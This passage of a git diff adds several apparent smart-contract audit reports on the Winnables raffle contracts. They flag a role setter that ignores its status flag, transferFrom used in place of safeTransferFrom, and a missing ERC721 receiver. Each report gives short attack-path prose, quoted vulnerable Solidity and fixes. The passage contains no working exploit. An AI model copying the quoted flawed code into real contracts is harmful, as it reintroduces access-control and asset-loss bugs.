regardless of the status parameter. This is because the bitwise OR operation roles | (1 << role) is used unconditionally, which means the role bit is always set to 1, effectively ignoring the status parameter. + +### Internal pre-conditions + +1. A valid _user_ address must be provided. +2. The _role_ must be within the range of valid roles (0 to 255). + +### External pre-conditions + +1. The _setRole_ function requires the caller to have the appropriate role (role 0 in this case) to invoke the __setRole_ function. + +### Attack Path + +1. An external caller invokes _setRole_ with a _user_, _role_, and _status_. +2. The _setRole_ function calls __setRole_, which does not properly handle the _status_ parameter. +3. Roles are always set to _true_ for the specified role regardless of the _status_ parameter, which could lead to unauthorized or incorrect role assignments. + +### Impact + +The incorrect role assignment logic in __setRole_ can have several adverse effects: + +- **Unauthorized Role Assignments**: Users might receive roles they should not have if _status_ is meant to unset the role. +- **Security Risks**: Users might gain unintended permissions if the role is always set, even when it should be removed. +- **Operational Issues**: The intended role management and permissions system will not function as expected, potentially causing inconsistencies in access control. + +### PoC + +_No response_ + +### Mitigation +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + _addressRoles[user] = bytes32(roles | (1 << role)); // Set the role + } else { + _addressRoles[user] = bytes32(roles & ~(1 << role)); // Unset the role + } + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/590.md b/002/590.md new file mode 100644 index 0000000..a26f7ab --- /dev/null +++ b/002/590.md @@ -0,0 +1,36 @@ +Fast Hotpink Toad + +Medium + +# Admin cannot remove an existing role in case of address compromise + +## Summary + +In Roles.sol, an admin can only add roles to addresses but cannot remove them in case the addresses are compromised, malicious or just need to removed in case of protocol deprecation. + +## Vulnerability Detail + +As we can see in the Roles contract, an admin can only add roles and cannot remove them in case of an emergency. Since the `status` parameter is unused in determining the `_addressRoles` of an actor, the roles can only be activated and not deactivated. +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } + + function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); + } +``` + +## Impact + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L35 + +## Tool used +Manual Review + +## Recommendation +Consider using another mapping that tracks the bool status variable. This would also require implementing another function that allows an admin to set the status to false. In function setRole(), the status would need to be set to true. \ No newline at end of file diff --git a/002/597.md b/002/597.md new file mode 100644 index 0000000..a0aabda --- /dev/null +++ b/002/597.md @@ -0,0 +1,43 @@ +Narrow Latte Huskie + +Medium + +# Irreversible Role Assignment in Roles.sol + +## Summary + +The `_setRole()` function in the `Roles.sol` contract is found to lack the capability to revoke previously granted roles. It is designed to set roles but does not consider the status parameter when updating the roles, leading to permanent role assignments that cannot be reversed through the same function. + +## Vulnerability Detail + +The `_setRole` function updates the role of a user by setting a specific bit in a bytes32 value based on the role parameter. However, the function does not account for the status parameter when updating roles. It only uses a bitwise OR operation to set the role bit to 1, without providing a mechanism to clear a bit (set it to 0), which is necessary to revoke a role. + +It is evident from the function declaration that status variable is used to enable or disable the role, There are 2 roles in the system, 0 and 1. Role 0 has the power to set the role of any other address to either 0 or 1 using the `_setRole` function + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` + +The function takes in 3 parameters out of which only 2 are used the address and the role. It is clear that the status bool was intended to set enabled roles back to disabled but the function is missing functionality. + +## Impact + +Given roles can not be taken back by the Role 0, This will allow an address which has been given a role to keep its power indefinitely which can cause issues once that address is no longer trusted. + +E.g Role(1) can mint tickets, the address will keep this power and there is no way to remove it. + +## Code Snippet + +[_setRole()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33) + +## Tool used + +Manual Review + +## Recommendation + +Use the bool status to check if the input is true or false and then depending on the input change the role. \ No newline at end of file diff --git a/003/003.md b/003/003.md new file mode 100644 index 0000000..5e0b6d4 --- /dev/null +++ b/003/003.md @@ -0,0 +1,42 @@ +Proud Pistachio Tardigrade + +Medium + +# Prize NFTs could be lost + +### Summary + +The WinnablesPrizeManager contract uses the transferFrom method to transfer NFTs to the winner. However, this approach can lead to NFTs getting stuck if the recipient is a smart contract that is not capable of receiving NFTs. To ensure proper handling of NFTs and to avoid potential loss of assets, it is recommended to use the safeTransferFrom method instead. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L232 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L301 + +### Root Cause + +Using ERC721's transferFrom instead of safeTransferFrom. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Using transferFrom instead of safeTransferFrom can result in NFTs being transferred to contracts that do not support receiving ERC-721 tokens. In such cases, the NFT may become inaccessible, leading to asset loss. + + +### PoC + +_No response_ + +### Mitigation + +Replace the transferFrom calls with safeTransferFrom to ensure the NFT is only transferred if the recipient can handle it. \ No newline at end of file diff --git a/003/004.md b/003/004.md new file mode 100644 index 0000000..6b14d1d --- /dev/null +++ b/003/004.md @@ -0,0 +1,38 @@ +Gigantic Coral Crane + +Medium + +# Use of transferFrom Instead of safeTransferFrom Risks NFT Loss in ERC721 Transfers + +## Summary +The contract uses transferFrom instead of safeTransferFrom when transferring NFTs, which can lead to potential loss of tokens if the recipient is a contract that doesn't support ERC721 tokens. + +## Vulnerability Detail +In the withdrawNFT function and potentially other places in the contract, transferFrom is used to transfer NFTs: +```solidity +function withdrawNFT(address nft, uint256 tokenId) external onlyRole(0) { + if (_nftLocked[nft][tokenId]) revert NFTLocked(); + IERC721(nft).transferFrom(address(this), msg.sender, tokenId); +} +``` +The transferFrom function doesn't check if the recipient can handle ERC721 tokens. If the recipient is a contract that doesn't implement onERC721Received, the transfer will succeed, but the recipient contract won't be able to interact with the NFT, effectively locking it. +## Impact +Using transferFrom instead of safeTransferFrom can potentially lead to NFTs being locked in contracts that don't support ERC721 tokens. This could result in permanent loss of valuable assets. +## Code Snippet +```solidity +IERC721(nft).transferFrom(address(this), msg.sender, tokenId); +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L301 +## Tool used + +Manual Review + + +## Recommendation +Replace all instances of transferFrom with safeTransferFrom when transferring NFTs. This applies to the withdrawNFT function and any other places in the contract where NFTs are transferred. For example: +```solidity +function withdrawNFT(address nft, uint256 tokenId) external onlyRole(0) { + if (_nftLocked[nft][tokenId]) revert NFTLocked(); + IERC721(nft).safeTransferFrom(address(this), msg.sender, tokenId); +} +``` \ No newline at end of file diff --git a/003/021.md b/003/021.md new file mode 100644 index 0000000..ca44f1a --- /dev/null +++ b/003/021.md @@ -0,0 +1,44 @@ +Amateur Red Condor + +Medium + +# Use safeTransferFrom() instead of transferFrom() for outgoing erc721 transfers + +## Summary +It is recommended to use safeTransferFrom() instead of transferFrom() when transferring ERC721s out of the vault. + +## Vulnerability Detail +The transferFrom() method is used instead of safeTransferFrom(), which I assume is a gas-saving measure. I however argue that this isn’t recommended because: +- [OpenZeppelin’s documentation](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) discourages the use of transferFrom(); use safeTransferFrom() whenever possible +- The recipient could have logic in the onERC721Received() function, which is only triggered in the safeTransferFrom() function and not in transferFrom(). A notable example of such contracts is the Sudoswap pair: +```solidity +function onERC721Received( + address, + address, + uint256 id, + bytes memory +) public virtual returns (bytes4) { + IERC721 _nft = nft(); + // If it's from the pair's NFT, add the ID to ID set + if (msg.sender == address(_nft)) { + idSet.add(id); + } + return this.onERC721Received.selector; +} +``` +It helps ensure that the recipient is indeed capable of handling ERC721s. + +## Impact +There is the potential loss of NFTs should the recipient is unable to handle the sent ERC721s. + + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L232 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L301 + +## Tool used +Manual Review + +## Recommendation +Use safeTransferFrom() when sending out the NFT from the vault. \ No newline at end of file diff --git a/003/037.md b/003/037.md new file mode 100644 index 0000000..564823f --- /dev/null +++ b/003/037.md @@ -0,0 +1,50 @@ +Recumbent Ultraviolet Ram + +Medium + +# Using `ERC721.transferFrom()` instead of `safeTransferFrom()` may result in the user's NFT to be stuck in a contract that does not support ECR721 + +## Summary +Not every contract supports ERC721, using `transferFrom()` may cause user's NFT being frozen in such a contract. +## Vulnerability Detail +claimPrize() in WinnablesPrizeManager contract is the function that can be called by the winner to claim their reward. +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +if raffle type is NFT, then there is a call made to ` _sendNFTPrize`, which is defined as: +```solidity + function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { + IERC721(nft).transferFrom(address(this), winner, tokenId); + } +``` +if winner is a contract that does not support ERC721, The reward NFT can be frozen in that contract. +As per the docs of EIP 721: +`A wallet/broker/auction application MUST implement the wallet interface if it will accept safe transfers.` +Ref:https://eips.ethereum.org/EIPS/eip-721 +## Impact +The reward(NFT) will be frozen in a contract +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L300 +## Tool used +Manual Review +## Recommendation +use `safeTransferFrom` instead of `transferFrom` \ No newline at end of file diff --git a/003/068.md b/003/068.md new file mode 100644 index 0000000..0c94fdd --- /dev/null +++ b/003/068.md @@ -0,0 +1,40 @@ +Young Banana Gecko + +Medium + +# transferFrom used when sending ERC721 token + +## Summary +Winner of the raffle may not be able to receive his prize NFT + +## Vulnerability Detail +When a user claims his Raffle prize if the prize item is an NFT he may not be able to receive it because `transferFrom` is used to send the token. + +## Impact +Raffle winner may not be able to receive his prize NFT + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L300 + +```solidity + function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { + IERC721(nft).transferFrom(address(this), winner, tokenId); + } +``` +transferFrom is also used when admin withdraws NFT that is not locked in a raffle +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesPrizeManager.sol#L232 + +```solidity + function withdrawNFT(address nft, uint256 tokenId) external onlyRole(0) { + if (_nftLocked[nft][tokenId]) revert NFTLocked(); + IERC721(nft).transferFrom(address(this), msg.sender, tokenId); + } + +``` + +## Tool used + +Manual Review + +## Recommendation +Use `safeTransferFrom` instead of `transferFrom` \ No newline at end of file diff --git a/003/084.md b/003/084.md new file mode 100644 index 0000000..65b52ad --- /dev/null +++ b/003/084.md @@ -0,0 +1,43 @@ +Macho Gingham Aphid + +Medium + +# Use of `transferFrom` in `_sendNFTPrize` can lead to NFT prizes being permanently stuck + +### Summary + +The use of `transferFrom` when withdrawing NFTs from the contract could cause the NFT to be stuck permanently if the recipient is a smart contract and does not properly handle incoming ERC721 tokens. + +### Root Cause + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L301 + +Use of `transferFrom` + +### Internal pre-conditions + +1. Participant needs to be a smart contract +2. Enter a raffle for NFT prize +3. Win raffle + +### External pre-conditions + +NA + +### Attack Path + +1. User calls `claimPrize` +2. NFT is transferred to the smart contract +3. Contract does not handle incoming ERC721 tokens properly and is permanently stuck + +### Impact + +NFTs can be permanently stuck in a smart contract and the raffle would be a waste + +### PoC + +_No response_ + +### Mitigation + +The `WinnablesTicket` contract has a check to make sure the receiver is a contract that it is valid to receive ERC1155 tokens when buying tickets for a raffle. I recommend doing the same for ERC721 using `onERC721Received` and only allowing contracts setup to receive ERC721 tokens properly to enter NFT raffles. \ No newline at end of file diff --git a/003/108.md b/003/108.md new file mode 100644 index 0000000..2618ead --- /dev/null +++ b/003/108.md @@ -0,0 +1,23 @@ +Proud Cotton Rooster + +Medium + +# Use `safeTransferFrom` instead of `transferFrom` for ERC721 transfers + +## Summary +It is recommended to use `safeTransferFrom()` instead of `transferFrom()` when transferring ERC721s +## Vulnerability Detail +[OpenZeppelin’s documentation](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) discourages the use of `transferFrom()` use `safeTransferFrom()` whenever possible +## Impact +In the functions shown at below, `ERC721` token is sent to `msg.sender` with the `transferFrom` method. +If this `msg.sender` is a contract and is not aware of incoming `ERC721` tokens, the sent token could be locked up in the contract forever. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L230 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L300 +## Tool used + +Manual Review + +## Recommendation +use `safeTransferFrom()` method instead of `transferFrom()` for NFT transfers. \ No newline at end of file diff --git a/003/130.md b/003/130.md new file mode 100644 index 0000000..61d89d1 --- /dev/null +++ b/003/130.md @@ -0,0 +1,22 @@ +Tart Clay Hippo + +High + +# WinnablesPrizeManager.sol -The contract does not have `onERC721Received` function so any NFT transfers will fail + +## Summary +The contract does not have `onERC721Received` function so any NFT transfers will fail. + +## Vulnerability Detail +NFTs can be used for rewards in WinnablesPrizeManager.sol. However, the contract does not include a receive function for NFTs. While the contract assumes NFTs will be received and used as rewards, there is no functionality to properly handle such transfers and any attempt to transfer NFTs to the contract will likely fail, preventing the contract from acquiring the intended reward assets. + +## Impact +The contract can't receive NFTs. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L18 +## Tool used + +Manual Review + +## Recommendation +Implement `onERC721Received` function. \ No newline at end of file diff --git a/003/144.md b/003/144.md new file mode 100644 index 0000000..806d157 --- /dev/null +++ b/003/144.md @@ -0,0 +1,53 @@ +Funny Tawny Wren + +Medium + +# Use `transferFrom` instead of `safeTransferFrom` for `ERC721` token may cause unintended behavior for the recipient + +### Summary + +Use `transferFrom` instead of `safeTransferFrom` for `ERC721` token may cause unintended behavior for the recipient, such as token loss if the recipient cant handle `ERC721` token or if recipient have logic on `onERC721Received()` function which can only be called using the `safeTransferFrom` function + +### Root Cause + +The choice to use `transferFrom` instead of `safeTransferFrom` for `ERC721` token may cause unintended behavior for the recipient + +[WinnablesPrizeManager.sol:232](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L232) + +[WinnablesPrizeManager.sol:301](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L301) + +### Internal pre-conditions + +For `withdrawNFT()` + +1. Admin need to call `withdrawNFT()` to withdraw any NFT from the contract that is not locked in a raffle + +For `_sendNFTPrize()` + +1. NFT winner need to call `claimPrize()` for claiming the NFT prize + +### External pre-conditions + +The recipient is a smart contract that cannot handle the `ERC721` sent or a smart contract that has logic in the `onERC721Received()` function that should be called + +### Attack Path + +For `withdrawNFT()` + +1. Admin call `withdrawNFT()` to withdraw any NFT from the contract that is not locked in a raffle + +For `_sendNFTPrize()` + +1. NFT winner call `claimPrize()` for claiming the NFT prize + +### Impact + +This issue can lead to unintended behavior for the recipient, such as token loss if the recipient cant handle `ERC721` token or if recipient have logic on `onERC721Received()` function which can only be called using the `safeTransferFrom` function + +### PoC + +_No response_ + +### Mitigation + +Use `safeTransferFrom()` function for ERC721 token \ No newline at end of file diff --git a/003/156.md b/003/156.md new file mode 100644 index 0000000..fbb4a4b --- /dev/null +++ b/003/156.md @@ -0,0 +1,27 @@ +Young Banana Gecko + +High + +# ERC721 cannot be sent to the PrizeManager via safeTransfer functions + +## Summary +`WinnablesPrizeManager` is intended to hold prize items. However, because it does not implement the `onERC721Received()` function, it will not pass the checks for `safeTransferFrom()` and will not be able to be used for NFTs as intended. + +## Vulnerability Detail +As it is currently implemented the WinnablePrizeManager won't be able to receive NFTs sent by `safeTransfer`, `safeTransferFrom`, and `safeMint` because it doesn't implement the necessary + +## Impact +Any time an ERC721 reward token is attempted to be transferred to the WinnablePrizeManager with a safe function it will revert + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L18-L332 + +## Tool used + +Manual Review + +## Recommendation +Include `onERC721Received()` functions in `WinnablesPrizeManager.sol`. + +### Note +If ERC1155 are implemented in the future for rewards include the `onERC1155Received()` function \ No newline at end of file diff --git a/003/173.md b/003/173.md new file mode 100644 index 0000000..ae429ed --- /dev/null +++ b/003/173.md @@ -0,0 +1,60 @@ +Silly Burgundy Scallop + +Medium + +# Winner may not be able to receive its reward + +## Summary + +If the raffle prize is an NFT and the winner does not implement `onERC721Received()`, the token may be forfeited. + +## Vulnerability Detail + +When the raffle prize is an NFT, it will be locked in the `WinnablesPrizeManager.sol` contract, when a winner is selected, he must call `claimPrize()` and `WinnablesPrizeManager.sol` will transfer the NFT to him. But because it does not use `safeTransferFrom()`, the winner (receiver) may not implement the `onERC721Received()` callback and may lose their prize. + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` + +```solidity +function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { + IERC721(nft).transferFrom(address(this), winner, tokenId); +} +``` + +## Impact + +User may lose its reward + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L300-L302 + +## Tool used + +Manual Review + +## Recommendation + +Use `safeTransferFrom()`. \ No newline at end of file diff --git a/003/252.md b/003/252.md new file mode 100644 index 0000000..49feebf --- /dev/null +++ b/003/252.md @@ -0,0 +1,39 @@ +Lone Aquamarine Ram + +Medium + +# Use `safeTransferFrom()` when sending out the NFT + +### Summary + +It is recommended to use safeTransferFrom() instead of transferFrom() when transferring ERC721s out of the contract. + +### Root Cause + +In `WinnablesPrizeManager.sol:232` and `WinnablesPrizeManager.sol:301` contract use unsafe `transferFrom` to send nft to the admin *can be contract* or the winner , There are certain smart contracts that do not support ERC721, using transferFrom() may result in the NFT being sent to such contracts. + +### Internal pre-conditions + +1.user win a NFT prize but it's a contract not EOA +2.user call claimPrize to claim the NFT +3.NFT can be frozen in that contract. + +### External pre-conditions + +winner is a contract address that does not support ERC721, + +### Attack Path + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L300C5-L302C6 + +### Impact + +While unlikely because the recipient is the function caller, there is the potential loss of NFTs should the recipient is unable to handle the sent ERC721s. + +### PoC + +_No response_ + +### Mitigation + +Consider using safeTransferFrom() instead of transferFrom(). \ No newline at end of file diff --git a/003/253.md b/003/253.md new file mode 100644 index 0000000..6f9f646 --- /dev/null +++ b/003/253.md @@ -0,0 +1,30 @@ +Brief Champagne Tuna + +Medium + +# `WinnablesPrizeManager` cannot receive NFTs as intended + +## Summary + +`WinnablesPrizeManager` contract is designed to lock NFTs as rewards for raffles using the `lockNFT` function. However, the contract currently does not implement the necessary methods to handle the receipt of ERC721 or ERC1155 tokens - `onERC721Received()` and `onERC1155Received()` functions. As a result, the contract cannot properly receive and manage NFTs sent via `safeTransferFrom` method from other contracts. + +## Vulnerability Detail + +The `lockNFT` function is used by admin to lock an NFT as a prize for a raffle. For this function to work correctly, the contract must be able to receive NFTs, which requires implementing the `onERC721Received()` function for ERC721 tokens and `onERC1155Received()` for ERC1155 tokens. +Meaning that if an NFT is transfered to the `WinablesPrizeManager` contract using the `safeTransferFrom` method the transfer will fail. + +## Impact + +Inability to receive ERC721 or ERC1155 tokens sended throug `safeTransferFrom` method. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148-#L165 + +## Tool used + +Manual Review + +## Recommendation + +Implement `onERC721Received()` and `onERC1155Received()` functions in `WinnablesPrizeManager.sol` diff --git a/003/305.md b/003/305.md new file mode 100644 index 0000000..ad9831d --- /dev/null +++ b/003/305.md @@ -0,0 +1,41 @@ +Dry Arctic Hawk + +Medium + +# The WinnablesPrizeManager is incompatible with ERC721 transfer safe variants + +### Summary + +The PrizeManager contract doesn't implement the [IERC721Receiver](https://eips.ethereum.org/EIPS/eip-721) which makes it imcompatible to receive Fungible tokens sent using safeTransfer , SafetransferFrom. +## Target Contract +[WinnablePrizeManager](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L18) + +### Root Cause +This incompatibility sterns from the absence of the *onERC721Received()* method(Which basically checks that the receiver is capable of handling the incoming tokens).Of course a walk around could be to strictly use transfer , transferFrom methods but just to cover any scenario whereby the sender uses the safeTransfer method it would be nice to ensure full compatibilty to the ERC721 methods. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- Scenarios whereby Non-fungible tokens are sent from a contract or an EOA using the transfer,transfer-from safe variants. + +### Impact + +- The Transaction would always revert because the safety checks aren't present. +i.e. +``` solidity + onERC721Received() + +### PoC + +_No response_ + +### Mitigation + +*Implement the IERC721Receiver on the prizeManager* \ No newline at end of file diff --git a/003/359.md b/003/359.md new file mode 100644 index 0000000..809a293 --- /dev/null +++ b/003/359.md @@ -0,0 +1,48 @@ +Helpful Rose Chicken + +Medium + +# A user will fail to receive certain NFTs correctly, leading to unintended behaviors in the protocol and potential loss of the NFT. + +### Summary + +The use of transferFrom() instead of safeTransferFrom() in _sendNFTPrize() will cause issues for NFTs that rely on logic in the onERC721Received() function, potentially leading to loss of NFTs or failed transfers. + + + +### Root Cause + +[WinnablesPrizeManager.sol#L301](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L301) the _sendNFTPrize() function uses transferFrom() instead of safeTransferFrom() for NFT transfers, which does not trigger the onERC721Received() function for NFTs that rely on this callback. + + +### Internal pre-conditions + +Admin needs to set up an NFT raffle with an NFT that implements custom logic in the onERC721Received() function. +The raffle prize must be claimed by a user. +The _sendNFTPrize() function must be executed. + +### External pre-conditions + +The NFT contract must have logic in the onERC721Received() function that expects to be called when receiving the NFT. + + +### Attack Path + +The attacker identifies an NFT raffle using an NFT with custom logic in the onERC721Received() function. +The attacker wins the raffle and claims the NFT. +The _sendNFTPrize() function uses transferFrom(), bypassing the onERC721Received() function, potentially breaking the NFT's intended behavior. + + +### Impact + +The user may not receive the NFT correctly, causing protocol disruption or loss of the NFT. Some NFTs may not function as expected, resulting in failed transfers or other unexpected behavior. + + + +### PoC + +_No response_ + +### Mitigation + +Call the safeTransferFrom() method instead of transferFrom() for all NFT transfers to ensure that the onERC721Received() function is triggered for NFTs that depend on it. \ No newline at end of file diff --git a/003/365.md b/003/365.md new file mode 100644 index 0000000..c9c64bc --- /dev/null +++ b/003/365.md @@ -0,0 +1,85 @@ +Suave Bronze Monkey + +Medium + +# Use of `transferFrom` instead of safeTransferFrom introduces a vulnerability related to the handling of NFT transfers. + +### Summary + +The missing check of capable of receiving the NFT in 'WinnablesPrizeManager::_sendNFTPrize' will cause a complete loss of NFT for winner. + +### Root Cause + +In [`WinnablesPrizeManager::_sendNFTPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L301), `transferFrom` method used instead of `safeTransferFrom`. + +The primary issue is that transferFrom does not check whether the recipient is capable of receiving the NFT. Specifically, if the recipient is a smart contract that does not implement the onERC721Received function, the NFT can be lost during the transfer. This is because transferFrom does not perform any checks to ensure that the recipient can handle the NFT correctly, unlike safeTransferFrom, which includes this safeguard. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This can lead to loss of NFTs for the winner. +If winner uses smart contract using like gnosis safe wallet to join raffles, it can recive fungible tokens without any issue but not for NFT. + +### PoC + +_No response_ + +### Mitigation + +Plase add more param in the claimPrize like the following. + +```diff + + +- function claimPrize(uint256 raffleId) external { ++ function claimPrize(uint256 raffleId, address onBehalfForNFT) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; +- _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); ++ bool success = _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); ++ if (!success) { ++ if (onBehalfForNFT == 0 || msg.sender == onBehalfNFT) ++ revert InvalidAddress(); ++ success = _sendNFTPrize(raffle.contractAddress, raffle.tokenId, onBehalfForNFT); ++ if (!success) ++ revert InvalidAddress(); ++ } + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } + + +- function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { +- IERC721(nft).transferFrom(address(this), winner, tokenId); // @audit use safeTransferFrom ++ function _sendNFTPrize(address contractAddress, uint256 tokenId, address recipient) internal returns (bool) { ++ try IERC721(contractAddress).safeTransferFrom(address(this), recipient, tokenId) { ++ return true; ++ } catch { ++ return false; ++ } + } +``` \ No newline at end of file diff --git a/003/412.md b/003/412.md new file mode 100644 index 0000000..4200ee1 --- /dev/null +++ b/003/412.md @@ -0,0 +1,35 @@ +Daring Parchment Goblin + +Medium + +# Usage of `ERC721::transferFrom` function could lead to stuck NFT + +## Vulnerability Detail +The function `WinnablesPrizeManager::claimPrize` is used to send the prize for a Raffle to its winner. The prize could be either an NFT, ERC20 tokens or Native ETH. In the case of an NFT, when `claimPrize` is called, the function calls the `internal` function `_sendNFTPrize`, which uses the `ERC721::transferFrom` for sending the NFT: + +```javascript + function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { + IERC721(nft).transferFrom(address(this), winner, tokenId); + } +``` + +However, when using `transferFrom` there is the potential change of the NFT getting stuck in the protocol if the recipient is unable to handle the sent ERC721. + +## Impact +Winner's prize could be stuck in the contract. + +## Code Snippet +https://github.com/Winnables/public-contracts/blob/9474451539b7081f5b2e246c68b90a16e7c55b31/contracts/WinnablesPrizeManager.sol#L232 + +## Tool used +Manual Review + +## Recommendation +Consider using `safeTransferFrom()` when sending out the NFT as a prize to the winner + +```diff + function _sendNFTPrize(address nft, uint256 tokenId, address winner) internal { +- IERC721(nft).transferFrom(address(this), 